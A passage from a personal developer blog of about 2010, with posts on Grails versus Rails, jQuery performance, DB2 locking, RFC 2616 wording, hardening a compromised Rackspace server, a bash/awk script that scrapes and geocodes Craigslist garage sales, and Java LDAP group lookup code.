#5 Grails integrates seamlessly with most modern J2EE environments. Newer versions of spring allow you to code groovy code INSIDE your spring configuration xml. Grails creates a war file that can be deployed with little or no modification directly into a J2EE container. Rails CAN be integrated in a similar fashion, but it is really a kind of frankenstein implementation to get JRuby on rails via a J2EE container.

#6 Ruby on rails is MUCH more nimble and dynamic for building functionality. Grails enables taglibs and meta-programming, but many of the DSLs quickly get cluttered with java-like confusion that doesn't really have any business advantage. In addition, because of the way grails works with classloading in servlet containers, it is constantly restarting the container to pick up new functionality. With rails, I can reinitialize the database, drop/create tables, completely redesign the application, and it will typically continue to run without a hitch. I've often gone an entire day add/removing domain classes, changing controllers, rebuilding tag libraries and my rails engine never has to be restarted.

#7 The groovy and grails community is more organized. That having been said, they're both pretty disorganized and certainly the "herd of cat's" syndrome is running rampant in both of them. However, when I google "groovy roadmap", my first hit is this http://groovy.codehaus.org/Roadmap, "ruby roadmap" gets me: http://redmine.ruby-lang.org/projects/ruby-19/roadmap. You choose which one seems more organized.

#8 The ruby community is larger. While still pretty small compared to the likes of PHP or java, you cannot throw a stick and help but hit someone who has at least heard of ruby on rails. Groovy/Grails is still pretty small. On the other hand, I would point out that the grails community is growing where the rails community growth seems to have leveled off in the last year or so.

In conclusion, there are a lot of other factors that make selection of one or the other of these better or worse. If I where to learn only one of these and had no prior experience, I would probably learn ruby and rails just because of the size of the community. If I were a java person, I would likely start with groovy/grails just because the learning curve is going to be less steep.

jQuery ajax performance tuning

2010-10-08T06:43:00.001-05:00

Modern web applications are all about user experience and a major factor in this is performance. A user interface that is laggy or gives the appearance of slowness will drive users away as quickly, if not more quickly, than an ugly and unintuitive one.

This having been said, sometimes there are things that are just plain slow. Answering questions like "calculate the price for all 2 million products we sell in the north american market and present the top 10 with at least 50 in stock at a Distribution center within 50 miles" can often take some time. Couple these complex business rules with rich and powerful user interfaces and you have a potential for slowness to silently creep into your application. Digging through a few of the more modern javascript libraries, there are a number of strategies to combat this. We'll use the jquery datatable to illustrate some simple speedups that might apply.

For our situation, let's pretend the above mentioned query takes 500ms and the time to actually render the html for the rest of the page takes 500ms (until document ready). There are three general ways to get your front-end widget to initialize. In the interest of simplifying things, we're going to assume outside factors (like network congestion, server availability, etc) are not influencing our decision.

method 1 - put the data in the html/dom

This is often the simplest way an has the added benefit of often degrading when a user is has a browser that doesn't have javascript enabled. The down side is that the trivial implementation will generally require the aggregate of the two times in order to complete (read 1 second)

method 2 - put the data as an ajason request (not ajax, because who uses xml on the web any more?)

This has the benefit of enabling the server to send back the core html (500ms) and THEN fetch the rest of the page. This means the user has SOME content in 500ms, and instead of staring at nothing (or the old page) for 1 second, they see SOMETHING in 500ms. This has the downside of actually requiring the same amount of time (if not more) than the above method. The biggest benefit is that is CAN make the system seem more responsive.

method 3 - put the data as a javascript include

OK, this one is a little whacky, but can make things even faster than either of the two above. In this method, instead of wiring the data into an xmlhttp request that is fetched after the DOM is loaded, you put a link in the document (probably the head) that points to a dynamically generated javascript file that will wire the content into the dom as soon as the required parent element shows up. This has the advantage of allowing the fetch of the data to proceed BEFORE the dom has fully loaded. In practice, this starts to become more performant when you have larger documents with complicated controls and markup in them.

I don't necessarily recommend this approach as a defacto starting point. Before going down this path, you should make sure you've done the following:

minify and consolidate all your css and js
consolidate and pack all your images
use a cdn or edge server for static assets and content
properly set cache-control headers and usie etags where appropriate

Don't start with this approach, but it is certainly a way to squeeze a little more performance out of your user interface.

Amazon EC2 versus rackspace cloud hosting

2010-10-06T05:30:00.001-05:00

I recently needed to stand up a DB2 server and was going to reach for my trusty rackspace account, but didn't feel like setting up DB2 for an experiment that would only last a few hours.

Instead I turned to amazon. It turns out that amazon has preconfigured images for ubuntu/db2 that you can spin up almost instantaneously. In addition, their security model is a little more robust. Key things they do right from a security perspective (compared to rackspace).

#1 They never send you a root password (via email or otherwise). You must generate a public/private key pair and download the key via https. Assuming you keep your secret key secure, there is minimal (if any) opportunity for someone to steal this key. Even if they hack your amazon account, I'm not sure they could get to your server immediately, even though they certainly could shut it down.

#2 By default you are behind a firewall so that only a minimal set of tcp ports are even open. You need to actually take action before they will allow ssh access to the server.

#3 The root account is locked and cannot log in from a remote location. You MUST log in via a "normal" user (ubuntu on this image) and then switch to root.

All told, it seems like EC2 has got a more secure default setup than Rackspace. I haven't yet compared pricing or service levels on the two, but purely from a security perspective, Rackspace certainly has got it's stuff together.

db2 locking and MVCC

2010-10-04T05:27:00.007-05:00

I had an interesting discussion about locking in db2 a while back. It was interesting because it challenged some long held assumptions I had about db2 and how it handles locking. As usual, when I started digging deeper it turns out it is much more complicated that it would seem on the surface.

First off, some background: I was having a conversation with a colleague about locking in various DBMS's and I made the statement that DB2 doesn't support MVCC. Thus, I contended, it is not possible for someone to read the previous version of a row that I have updated while I'm in a transaction that has altered it. At this point the fellow I was talking to looked at me as if I had just grown an arm out of my forehead. He stated (correctly, it turns out) that DB2 has supported this almost forever.

I was, however, VERY confident that I was correct and subsequently dug up the documentation. Oddly enough, the documentation seemed to support the notion that I was mistaken (gasp!). Well, at this point I HAD to get to the bottom of this.

So, I fired up an amazon ec2 instance with ubuntu and db2 9 udb and started my test.

First, I created a table

create tablespace test1
create table test (id integer)

keep forgetting that the more confident I am that I'm 100% correct,

Then fired up squirrel sql with two different connections turning off autocommit.
First I seeded some data:

insert into test values (1)
insert into test values (2)
commit

On connection 1 I entered

update test set id = 12 where id = 2

and on connection two I entered

select * from test where id = 1

When I issued the second select, in my head, I should have blocked for the first insert to finish,but it came back immediately. So now I had to sit back and wonder: "Am I imagining this behavior?" When I stop to think about it, my position seems suspect not matter how you slice it.

So I reread the definitions of db2's lock levels http://www.ibm.com/developerworks/data/library/techarticle/dm-0509schuetz/ as well as some ways things can go haywire http://www.ibm.com/developerworks/data/library/techarticle/dm-0509schuetz/ and got thinking back to the situation that caused me to think this.

The key thing that I was missing is that this ONLY applies to readers, if I change the second statement to an update, it WILL block (by default). So for example, if we run THIS sequence:
On connection 1 I entered

update test set id = 12 where id = 2

and on connection two I entered

update test set id = 100 where id = 2

The second update will wait for the first one to finish. By comparison, in an MVCC database, the second one can continue to operate with the version of the row as it was when its transaction began. This is they key thing that kept confusing me. DB2 treats readers and writers as unequal partners in the database instead of putting them on equal ground. While readers typically don't block, it's the writers that will cause problems.

In honesty, it sounds like there IS a setting in newer versions of db2 to enable MVCC-like behavior, but is NOT the default. In addition, there is certainly overhead to maintaining versions of data just to keep writers running concurrently. Certainly for read intensive operations, it might not be worth the overhead.

For a nice article, take a peek here: http://www.rtcmagazine.com/articles/view/101612

Mike.

HTTP 1.1, rfc 2616 and reading comprehension

2010-10-02T05:30:00.001-05:00

I've read with interest some documentation from Microsoft about how the HTTP 1.1 specification mandates some behavior. To Quote:

WinInet limits connections to a single HTTP 1.0 server to four simultaneous connections. Connections to a single HTTP 1.1 server are limited to two simultaneous connections. The HTTP 1.1 specification (RFC2616) mandates the two-connection limit.

This seems to be saying that browsers are only allowed (via some mythical mandate) to use two connections per server and any connections past two must block. After reading through the http 1.1 specification (again) I'm troubled that many folks have seriously misinterpreted this requirement. This is especially troubling because the manner in which RFCs are written is VERY explicit and it is (for me) really easy to understand the difference between a requirement and a recommendation. What is even more troubling is that people quote the microsoft reinterpretation of the specification as if it is a direct quote of the specification.

So for my example, the top of RFC 2616 states:

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119 [34].

If we chase down RFC 2119

1. MUST This word, or the terms "REQUIRED" or "SHALL", mean that the
definition is an absolute requirement of the specification.

2. MUST NOT This phrase, or the phrase "SHALL NOT", mean that the
definition is an absolute prohibition of the specification.

3. SHOULD This word, or the adjective "RECOMMENDED", mean that there
may exist valid reasons in particular circumstances to ignore a
particular item, but the full implications must be understood and
carefully weighed before choosing a different course.

4. SHOULD NOT This phrase, or the phrase "NOT RECOMMENDED" mean that
there may exist valid reasons in particular circumstances when the
particular behavior is acceptable or even useful, but the full
implications should be understood and the case carefully weighed
before implementing any behavior described with this label.

Then in the http spec we see:

Clients that use persistent connections SHOULD limit the number of simultaneous connections that they maintain to a given server. A single-user client SHOULD NOT maintain more than 2 connections with any server or proxy. A proxy SHOULD use up to 2*N connections to another server or proxy, where N is the number of simultaneously active users. These guidelines are intended to improve HTTP response times and avoid congestion.

Whats my problem?

If someone has taken the time to formally define things in a certain context, it is professionally irresponsible to change the meaning of their statements.
If you are distributing technical documentation, make sure you have your facts right and use unambiguous language. Remember, not everyone speaks English as their native language, nor do they necessarily have the inclination to go chase down quoted sources.
If you are trying to cite documentation, chase down the originator, don't rely on second, third, fourth, or nth parties to give you your information unless you REALLY trust them

Lets dissect a portion of the original quote:

Connections to a single HTTP 1.1 server are limited to two simultaneous connections.

Which of the following statements does this concretely assert?

An HTTP server will not accept more than two simultaneous connections.
An HTTP server might accept only two connections or might accept more
Clients can not make more than two simultaneous connections to the same server
Clients can actually make more than two simultaneous connections, but we've limited them to two

For the lay person (other than perhaps lawyers), these distinctions probably seem like minute and petty semantic wrangling. For professional software developers they are, however, terribly important.

Why? Because computers don't exactly do what you want them to do, they do exactly what you tell them to do.

Reread that a couple of times please...

Any subjective interpretation you are expecting the computer to do on your behalf does NOT happen and anybody who's used a computer has probably run into problems where the computer is not doing what you want and you are unable to understand why. There are millions of lines of code you are interacting with and their behavior is often specified with ambiguous language like the original paragraph. More importantly, they are restated and modified via the "telephone game" effect such that original and same requirements are completely lost

Secure your rackspace cloud server

2010-08-16T18:52:00.003-05:00

OK, so I've went round and round trying to figure out how my rackspace server was compromised and have come to the conclusion it was an inside job, but nobody's fessing up. I can see what sort of package was used to compromise my box and I may come back to trying to poison that package, but there isn't enough time in my life to continue to school folks who are hell bent on screwing with other people's property.

Instead, I'll give folks a quick primer one how to have a little better security if you choose to use rackspace with ubuntu 10.04.

#1 make sure your rackspace console password is secure... some basic rules: 10 chars, no dictionary words, upper and lower case letter, 2 number, at least one special char.
#2 Once you get your root password emailed to you, log in via the secure console, and disable both network interfaces. I'm not sure what the 10.* interface is for, I'll figure that out later, but I'm assuming it's some sort of rackspace backchannel.
#3 Change the root password to something secure (NOT your console password).
#4 Disable root login via ssh
#5 reenable networking.

At a minimum, someone must now guess a user account, a user password, AND the root password. to get root access to your machine (assuming you don't do something really stupid like installing random linux rootkit because your "friend" said it was kewl warez).

This should get you to a reasonably safe place to start with.

Note, if you want to ssh directly to your box, create a new user account (with a secure password) and you can do direct ssh and still be fairly secure. Adding user to sudoers has the effect if giving root with 1 password (although it is theoretically still more secure if you have a difficult to guess userid).

Cloud Computing Gotchas part II

2010-08-07T08:50:00.000-05:00

I finally had time to site down and actually analyze what happened to my box. It was certainly compromised by a script kiddie, but I'm not 100% sure if it was an inside job or not. In any event, I stored off the broken image and re-imaged the machine back to my "last known good" configuration.

I subsequently added the account that I thought was used for the attack setting the password back to what it was when the machine was originally compromised, but limited login to the rssh shell. This has been running for almost a week with no problems now. I've had a couple of sniffs of folks trying to connect to my machine as root, but no solid hits.

Some initial observations:

First the default install of Ubuntu Server on rackspace's cloud accounts enables root login via ssh. This is very strange now that I think about it. Ubuntu, by default disallows this (for very good reasons), and I think rackspace should seriously consider a change to their default build.

Second, the root password is emailed to customers. Again, really bad idea, not only is email really insecure, but there is certainly a more convenient method. Only display the password on the ssl admin console and push the responsibility of maintaining a good password policy to the customer.

Third, Not only should the root account ssh login be disabled by default, but users should have an option to have the initial boot of the system start the network interfaces disabled. I really would like to build a secure image, but it's nearly impossible when the server is started with network interfaces enabled.

So at this point, Rackspace's cloud accounts are exposing their customers to multiple attack vectors with zero chance of allowing the customer to secure their machine BEFORE an attacker has already breached their system. These are actually pretty minor changes to policy and configuration that have serious implications for security.

Cloud Computing Gotchas

2010-07-31T13:17:00.001-05:00

I've been using Rackspace cloud for testing some server builds and ESB solutions and recently ran into a "gotcha". First off, it looks like maybe the machine was compromised... I HOPE it was an inside job by one of my developer "friends" who happened to know the userid/password. If not, that means the default install of ubuntu 10.04, apache tomcat6, apache2.2, and servicemix is able to be compromised in less that 3 days when left out on the internet.

In any event, that particular problem notwithstanding, I now have a different problem... That is, rackspace has suspended my account and I cannot access my server, nor create another one until Monday. Thank god I was only using this machine to test things, I can't image what I would have done if I was actually depending on it to be running.

Another problem I'm finding is that I cannot find any reference on Rackspace's web site about acceptable use. They suspended the account for outbound ssh activity which is pretty silly considering any sane server admin uses ssh for EVERYTHING. I'm a little concerned because without ssh capability, I don't really have a good secure option to connect to any other server.

Worse yet, I cannot access my log files, server images, or any other information to try and discover what happened. While they claim "fanatical customer service", I'm a bit disappointed that I have to wait 48 hours to get information about a problem with legal implications. It seems like it would be pretty simple to let me see at LEAST my log files as well as get some information about WHO thinks I'm hacking. As it stands it sounds like all I need to do is call rackspace and complain and they will disable an account.

Wish me luck on Monday, I'm really curious about what actually happened here.

garage sales part two (geocoding and rendering)

2010-07-18T12:45:00.003-05:00

Early Results

Here are some early results:

Port Huron, MI
Rockford, IL

These maps show the first page of garage sales on craigslist with about a 50% accuracy rate (meaning, only about 1/2 of time can I find an address). That having been said, it's still pretty impressive as manually entering these things into google maps is.... tedious. This process takes about 60 seconds per city using the script I've written.

Back to Geocoding

Note, geocoding is the process of attaching geographic coordinates to data. In my case I can find a "reasonable" address in about 1/2 of the entries. This means there is a string somewhere that looks like an address, notably, it has a few numbers, and then a couple of words.

To get this data and geocode it, I wrote an awk script

$1 ~ /\([0-9]+ .+\)/ {match($1,/([0-9]+ [^\)\(]+)\)/,out); printdata( "\""out[1]"\"")}
$1 !~ /\([0-9]+ .+\)/  && $2 ~ /[0-9]+ [a-zA-Z]+ [a-zA-Z]+ /{match($2,/([0-9]+ [a-zA-Z]+ [a-zA-Z]+)/,out); printdata( "\""out[1]"\"")}
function printdata (mydata) {
curl = "/usr/bin/curl -s \"http://maps.google.com/maps/api/geocode/xml?address="  gensub(" ","%20","g",substr(mydata,2,length(mydata)-2))  ",+Port+Huron,+MI&sensor=false\"  | /usr/bin/xmlstarlet tr geocode.xsl"
curl | getline loc
markers = markers "|" loc
close(curl)
print mydata",\""gensub("\"","\"\"","g",$2)"\","loc
}

What this script does is use a regular expression match to find rows in the data that look like addresses, replace spaces with %20, then send a geocoding request to http://maps.google.com/maps/api/geocode/xml, take those xml results, use an xslt to extract the latitude,longitude coordinates, then reoutput the rows with the latitude and longitude tagged on the end of the row.

What I'm left with in my output2.csv file is some data that looks like this:


name,description,latitude,longitude
"603 N 3RD ST, ST CLAIR","Yard Garage Estate Sale....July 8 Thursday to July 11 Sunday...9AM to 6PM....We have Antiques, Tools, Furniture, Tons of stuff for EVERYONE...We plan on having a BAG SALE on Sunday with whats left....But be there before then for best choices!!!!!",42.9741483,-82.4225020

As it turns out google has an api to take a file just like this and build a nice little map. I post to this api and out comes a pretty map.
The final product:
Main shell script


#!/bin/bash
rm -f *.html
rm -f *.xml
rm output.csv
wget -q -O craig1.xml - "http://porthuron.craigslist.org/search/?areaID=223&subAreaID=&query=garage+sale&catAbb=sss" 
hxwls craig1.xml | grep http.*\.html | wget -i - 
for f in *.html; do tidy -q -utf8 --quote-nbsp no --doctype omit --output-xml yes $f | xmlstarlet tr ripper.xsl | sed 's/PostingID: //' >> output.csv; sleep 1s; done; 
cat output.csv | gawk -F \",\" -f go.awk > output2.csv
curl -X POST -H "GData-Version: 2.0" -H "Content-type: text/csv" -H "Authorization: GoogleLogin auth=\"secret key you get from google"" -H "Slug: port huron craigslist garage sales" --data-binary @output2.csv http://maps.google.com/maps/feeds/maps/default/full

Additional awk stuff


BEGIN { markers =""; print "name,description,latitude,longitude"}
$1 ~ /\([0-9]+ .+\)/ {match($1,/([0-9]+ [^\)\(]+)\)/,out); printdata( "\""out[1]"\"")}
$1 !~ /\([0-9]+ .+\)/  && $2 ~ /[0-9]+ [a-zA-Z]+ [a-zA-Z]+ /{match($2,/([0-9]+ [a-zA-Z]+ [a-zA-Z]+)/,out); printdata( "\""out[1]"\"")}
function printdata (mydata) {
curl = "/usr/bin/curl -s \"http://maps.google.com/maps/api/geocode/xml?address="  gensub(" ","%20","g",substr(mydata,2,length(mydata)-2))  ",+Port+Huron,+MI&sensor=false\"  | /usr/bin/xmlstarlet tr geocode.xsl"
curl | getline loc
markers = markers "|" loc
close(curl)
print mydata",\""gensub("\"","\"\"","g",$2)"\","loc
}
#END {print markers}

Wrapup

One thing I'll note. While this certainly works, there are only a few people I've ever met who will be able to figure it out. I'm ultimately probably better off switching to Ruby/Python/Groovy at some point, but I wanted to get something working first.

Some of the problems I had with these tools are that they don't just "work"... for example, to fetch the url via groovy, I started with this code snippet


def http = new groovyx.net.http.HTTPBuilder( 'http://rockford.craigslist.org' )
http.{ uri.path = '/search/?areaID=223&subAreaID=&query=garage+sale&catAbb=sss'
response.success = { resp, xml ->  xml.responseData.results.each {
println "  ${it.titleNoFormatting} : ${it.visibleUrl}"
} } }

My first problem was that my classpath was somehow screwed up and I couldn't get this to compile. In addition, even when I do get it to work, it's much more complicated than the command line equivalent:


wget -q -O craig1.xml - "http://porthuron.craigslist.org/search/?areaID=223&subAreaID=&query=garage+sale&catAbb=sss"

Why would I want to write all the gobbldy-gook at the top (that adds NO value) when the bottom version just works? If I get energetic, I'll probably start to port this to groovy once I get it working better as I believe this will be more compatible with my ultimate platform (android).

Garage sale maps

2010-07-17T10:01:00.002-05:00

The Backstory

My wife is an avid garage sailer. She finds garage sales she thinks have promise, then cruises by them to see if there is anything of interest. She is so accomplished at this that she routinely turns a profit by snagging things that folks didn't realize had resale value, and flipping them at local consignment shops. While this doesn't pay the bills, it DOES provide enough extra cash to actually have her garage sailing at least pay for itself with a little left over.

This is, however, not without it's share of problems:

First, the postings online (or paper) for garage sales are scattered to the four winds. At this point, craigslist.org is the hands down winner for quality and quantity of posts. Local newspapers/classified also have a good quantity, but the few sites I found on google geared toward this are suffering terribly from a strategic chicken and egg problem.

Second, while craigslist has a fairly high quality set of sales established, it has no functionality to map these things so you're on your own. Our current process is to plug through each one, look at the address, plug the address into google maps (or the gps), then lather rinse repeat.

The Idea

Enter the programmer husband, I saw what she was doing and said "I can do better with some software". My ultimate vision was to have a location aware android application that could tell one the nearest 5 garage sales that have "interesting" things as well as an online application to solve the obvious traveling salesmen problem. While getting to this (nobel? foolish?) goal involves solving a huge number of other problems, without a good solution to the first two mentioned above, everything else is secondary.

In order to solve the "chicken and egg" problem, I simply told myself "she's using craigslist as her primary source of information". Problem solved... yes, she's probably missing hundreds if not thousands of sources of garage sales, but since she had already been using craigslist as the primary source, I couldn't see any reason to change that. As a small caveat, since we did need to do some interpretation of the data from CL, it turns out I had to build an intermediate data format anyway. This means the input data is pluggable and we aren't necessarily bound to CL as the sole source of information.

For the "mapping" problem, my initial reaction was to use google maps. I already happened to understand the web apis and it's fairly easy to use. While there may be a hundred other tools that might do the job, I didn't even really look for alternate solution.

The build Part 1

From a solution design perspective, I am not a big fan of boiling the ocean. This type of solution is really only a good idea if you're a consultant who is being paid to come up with a brilliant idea... it's not so good for a schmuck who's trying to build something useful.

To that end, I reached into my toolbox and asked myself "I know python, ruby, and java all have html processing tools, which should I use?". My initial guess was to use ruby, hpricot and rubyful soup are both very capable screen scraping/html processing tools and showed early promise. In practice, it took a few hours with both to get them working and they where just a bit more clunky that I was looking for.

After an hour or so, I switched to Python. The advantage python seemed to have was that the html/http stuff was built right in. I've used python and jython in the past for screen scraping mainframe systems and was actually kicking myself for not remembering this and using it as my first choice. My initial enthusiasm began to wane quickly as I realized the slightly odd nature with which the CL pages where formatted was difficult to process using the default HTML parser.

I then went to java (actually groovy) and made what I would admit is an almost halfhearted attempt at the problem. By this point I was a bit disheartened because I had spent the better part of the day trying this stuff out and every time I changed tools my IDE (eclipse) would require a bunch of reconfiguration to get everything working properly. In addition, the package management and syntax of all these things where so radically different that I had to spend time googling and mentally changing gears to get started again.

At this point I took a break and didn't resume until the next weekend. The next weekend I took a totally different approach. Instead of relying on "programming" languages, I asked myself the question "what is the simplest possible way to get and extract this content?".

My answer: bash.

Enter Bash

When I sat back down the following week I realized that in my search for utility packages in various languages I had been struggling with a couple of problems. First off the software in Ruby/Python/Groovy (RPG) was not really geared for text processing or html processing. They were more like swiss army knives that I could get Yet Another Plugin (YAP) to do what I wanted. This in my head I heard the late night infomercial huckster say "But wait, there's more..."

What I had been ignoring is that while developing the RPG solutions, I was actually using command line utilities to verify the code was working problem. DOH!

So, simply put I took my existing wget command line and used that to extract the html for the posts.


wget -q -O craig1.xml - "http://rockford.craigslist.org/search/?areaID=223&subAreaID=&query=garage+sale&catAbb=sss"

Then walk the links with hxwls and pull them down. While I know this could have been a one step process, but I'm was using the intermediate files for troubleshooting.


hxwls craig1.xml | grep http.*\.html | wget -i -

At that point I had a set of html files on my drive that I was using to try and extract content. My first step was to change them into xml, then use an xslt to convert them into flat files.
html tidy seemed a good choice for cleaning up the html


tidy -q -utf8 --quote-nbsp no --doctype omit --output-xml yes

Use xmlstarlet to do the xslt


xmlstarlet tr ripper.xsl

The ripper.xsl consisted of the following:



<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/><xsl:template match="/">"<xsl:value-of select="normalize-space(//h2)"/>","<xsl:for-each select="//div[@id='userbody']"><xsl:value-of select='normalize-space(text())'/>","<xsl:value-of select="normalize-space(following::text())"/></xsl:for-each>"
</xsl:template></xsl:stylesheet>

A little bit of sed to extract the posting id


sed 's/PostingID: //'

Put it all together:


for f in *.html; do tidy -q -utf8 --quote-nbsp no --doctype omit --output-xml yes $f | xmlstarlet tr ripper.xsl | sed 's/PostingID: //' >> output.csv; done;

At this point I was pretty satisfied with the resulting csv file. In a couple of hours I had a working solution that was simple (if not a big opaque). The output.csv had posting id, a subject, and a bunch of textual data about the posting. It was ready to be imported to mysql, geocoded, or whatever other things I needed to have happen.

The entire program was two files (an xsl) and one or two lines of a bash script all pipelined together:


!/bin/bash
wget -q -O craig1.xml - "http://rockford.craigslist.org/search/?areaID=223&subAreaID=&query=garage+sale&catAbb=sss" 
hxwls craig1.xml | grep http.*\.html | wget -i - 
for f in *.html; do tidy -q -utf8 --quote-nbsp no --doctype omit --output-xml yes $f | xmlstarlet tr ripper.xsl | sed 's/PostingID: //' >> output.csv; done;

In my Next Post, geocoding this info and building a map.

Examples of useless garage sale sites that will never succeed

tether droid eris to Ubuntu 10.04 machine

2010-06-28T05:03:00.017-05:00

My internet service provider is a bit dicey and I occasionally need to be on the Internet even when they are figuring out how to reboot their remote router when they lose connectivity. So I thought I would just tether my smartphone (Droid ERIS) to my computer. After a bit of searching, I came up with a couple requirements.

I didn't want to root my phone. While this is technically a cool thing to do, I just don't want to do that right now.
I need to be able to connect natively to an Ubuntu linux machine. All my computers are currently running ubuntu and I didn't want to screw around with wine or a virtual machine.

Enter easytether. In 5 minutes I had internet connectivity... here's what I did:

downloaded easytether
downloaded the ubuntu driver to the phone
connected the phone to the computer (via usb)
installed the .deb located in phone's download folder
ran easytether on the phone
ran "easytether enumerate" on my computer
ran "sudo dhclient easytether0" on my computer

I'm impressed! What's more telling (aside from this just working) is that there is not yet a Mac version, but there is both a 32 and a 64 bit Ubuntu package. It makes me wonder exactly how many Ubuntu users there really are and how long until it surpasses the Mac market.

Speed results:

Last Result:
Download Speed: 674 kbps (84.3 KB/sec transfer rate)
Upload Speed: 635 kbps (79.4 KB/sec transfer rate)

My verizon bill

2010-06-27T12:09:00.000-05:00

Here's a copy of my verizon bill:

My first reaction is "Hey, I don't owe anything"... However, from experience I think I DO, and I think it might be $127. Unfortunately, by putting a big $0 for my balance at the top, people generally are going to stop and simply assume they didn't owe anything.

I've called Verizon about this a few times and 2/3 times the person I talk to ALSO thinks that I don't owe anything. I then need to talk them through my billing history for 15 minutes before they realize I DO in fact owe something. Usually this is after a supervisor gets involved and starts trying to explain complicated billing cycles and all sort of things that neither I nor the CSR actually care to know anything about.

This is how NOT to design an online bill presentation screen, they've taken intimate knowledge about how their internal billing and accounting systems work and broadcast it all the way to the customer. In addition to frustration, this causes confusion and wasted time/money/effort.

On the plus side, I wonder how many millions of dollars per month verizon makes because confused customers try to pay their $0 bill and end up being late for the $127 they actually owe.

What should I post online?

2010-06-19T10:07:00.001-05:00

As a guy with a reputation of knowing something about computers, I often get hit up for tech advice from folks. Recently, a cousin of mine sent me a note asking about what sorts of things I post online and what I don't. Evidently he had been aware of a situation where kids used information from spokeo.com to commit crimes.

Personally, I think this is pretty interesting and a really good question. I say this because I think a lot of non-tech folks have not yet made the transition from "off line" to "online". Many technical people have already had to deal with this (often years ago), but many younger folks and/or non-technical people are just beginning to understand the implications of being truly "online". For example, here is a post from 7 years ago by some buffoon (that's me) who decided a to post an off topic friday afternoon 833r discussion. This will likely be available for a very very long time.

From my perspective, this is a pretty good example of how information wants to be free. That is, once you start putting information on the internet, you lose control of it. This means things on the internet (text, photos, videos) can be taken out of context and used for other purposes. In addition, depending on what you put out there, criminals might be able to gain enough information to do BAD things. In this particular situation (7 years ago) I was in our data center at one point and after I introduced myself this guy said "oh so YOU'RE Mike Mainguy". Evidently, because I was posting a lot of messages in user groups with my work email address, spammers where scanning the user groups and bombarding our domain with email to my account. At one point I believe I was told that my account was receiving more spam than any other account in the domain except for the CEO.

As another example, suppose I had posted on facebook that I was going on vacation for 2 weeks. This would mean that anybody who searched facebook for vacation, potentially would potentially be able to see it. This then would have an unintended side effect of telling every tech savvy criminal in the world that they would have a golden opportunity to break into my house. If prior to that, I had posted a facebook note about my new
plasma TV, I'd have then put myself into a potentially vulnerable situation.

Don't get me wrong, the internet is bringing the world together and this is a wonderful thing. Social networking and other new applications enabling us to connect globally and interact across time and space in unimaginable ways. I obviously think that sharing information is a good thing and encourage everyone to get online and actively maintain an online presence. As with anything, however, there are unintended and potentially negative consequences of this. Folks who have newly minted online identities simply need to think about how they present themselves online.

Personally, before posting online, I typically ask myself the following questions:

"Would I be ashamed if my mom saw this?"
"Could a criminal use this information to do something bad?"
"Would a future employer potentially use this against me?"

If I answer "Yes" to any of these criteria, I typically don't post it. Obviously there are other considerations, but these three simple rules seem to serve me pretty well.

Active Directory Authorization with Java

2010-06-13T18:53:00.000-05:00

I have a situation where I need to be able to have sub groupings of users in Active directory to manage who can see particular pieces of information. It turns out this is easy, but unintuitive. An important detail is to realize that groups can be put inside into other groups and you can use the "member" and "memberOf" attributes to determine who is in which group. So if you have an OU in Active directory called "OU=web,DC=mainguy,DC=org" and you create a group with a name of "CN=Germany National Sales,OU=web,DC=mainguy,DC=org". From here in Active directory you create any number of subgroups and put them in the parent group (under the same OU in our example, but that's not necessary).

At this point, you can dump users into any of the groups and you can get segregate users into nested structures. With a little creativity you can use recursion to have deeper nesting (not necessarily a good thing) as well as a "deny/allow" capability (perhaps based on ou).

In any event, here's the code that can get you started.

package org.mainguy;

import java.util.Hashtable;

import javax.naming.AuthenticationException;
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.Attribute;
import javax.naming.directory.Attributes;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import javax.naming.ldap.Control;
import javax.naming.ldap.InitialLdapContext;
import javax.naming.ldap.LdapContext;

class FastBindConnectionControl implements Control {
 public byte[] getEncodedValue() {
  return null;
 }

 public String getID() {
  return "1.2.840.113556.1.4.1781";
 }

 public boolean isCritical() {
  return true;
 }
}

public class LDAPBinder {
 public Hashtable env = null;
 public LdapContext ctx = null;
 public Control[] connCtls = null;

 public LDAPBinder(String ldapurl) {
  env = new Hashtable();
  env.put(Context.INITIAL_CONTEXT_FACTORY,
    "com.sun.jndi.ldap.LdapCtxFactory");
  env.put(Context.SECURITY_AUTHENTICATION, "simple");
  env.put(Context.PROVIDER_URL, ldapurl);

  connCtls = new Control[] { new FastBindConnectionControl() };

  try {
   ctx = new InitialLdapContext(env, connCtls);
        
  } catch (NamingException e) {
   System.out.println("Naming exception " + e);
  }
 }

 public boolean authenticate(String username, String password) {
  try {
   ctx.addToEnvironment(Context.SECURITY_PRINCIPAL, username);
   ctx.addToEnvironment(Context.SECURITY_CREDENTIALS, password);
   ctx.reconnect(connCtls);
   System.out.println(username + " is authenticated");
      return true;
  }

  catch (AuthenticationException e) {
   System.out.println(username + " is not authenticated");
   return false;
  } catch (NamingException e) {
   System.out.println(username + " is not authenticated");
   return false;
  }
 }

 public void finito() {
  try {
   ctx.close();
   System.out.println("Context is closed");
  } catch (NamingException e) {
   System.out.println("Context close failure " + e);
  }
 }

 public void getMembership(String name) {
  String[] returns = {"member"};
  SearchControls sc = new SearchControls();
  sc.setSearchScope(SearchControls.SUBTREE_SCOPE);
  sc.setReturningAttributes(returns);
  try {
   NamingEnumeration ne = ctx.search("OU=web,DC=mainguy,DC=org","memberOf="+name,sc);
   
   while (ne.hasMoreElements()) {
    SearchResult sr = (SearchResult)ne.next();
    System.out.println("+" + sr.getName());
    
    Attributes attr = sr.getAttributes();
    System.out.println("--" + attr.get("member").size());

    NamingEnumeration allUsers = attr.get("member").getAll();
    
    while (allUsers.hasMoreElements()) {
     String value = (String)allUsers.next();
     System.out.println("---"+value);
     
    }
        
   }
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
 /**
  * @param args
  */
 public static void main(String[] args) {
  LDAPBinder binder = new LDAPBinder("ldap://173.203.66.30:389");
  binder.authenticate("maxplanck@mainguy.org", "supersecret");
  binder.getMembership("CN=Germany National Sales,OU=web,DC=mainguy,DC=org");

  binder.finito();
 }

}

Why windows is useful in the cloud

2010-06-12T13:28:00.000-05:00

OK, I realize from a previous post that it in a previous post it may seem like I think that windows is completely non-functional in a cloud environment.

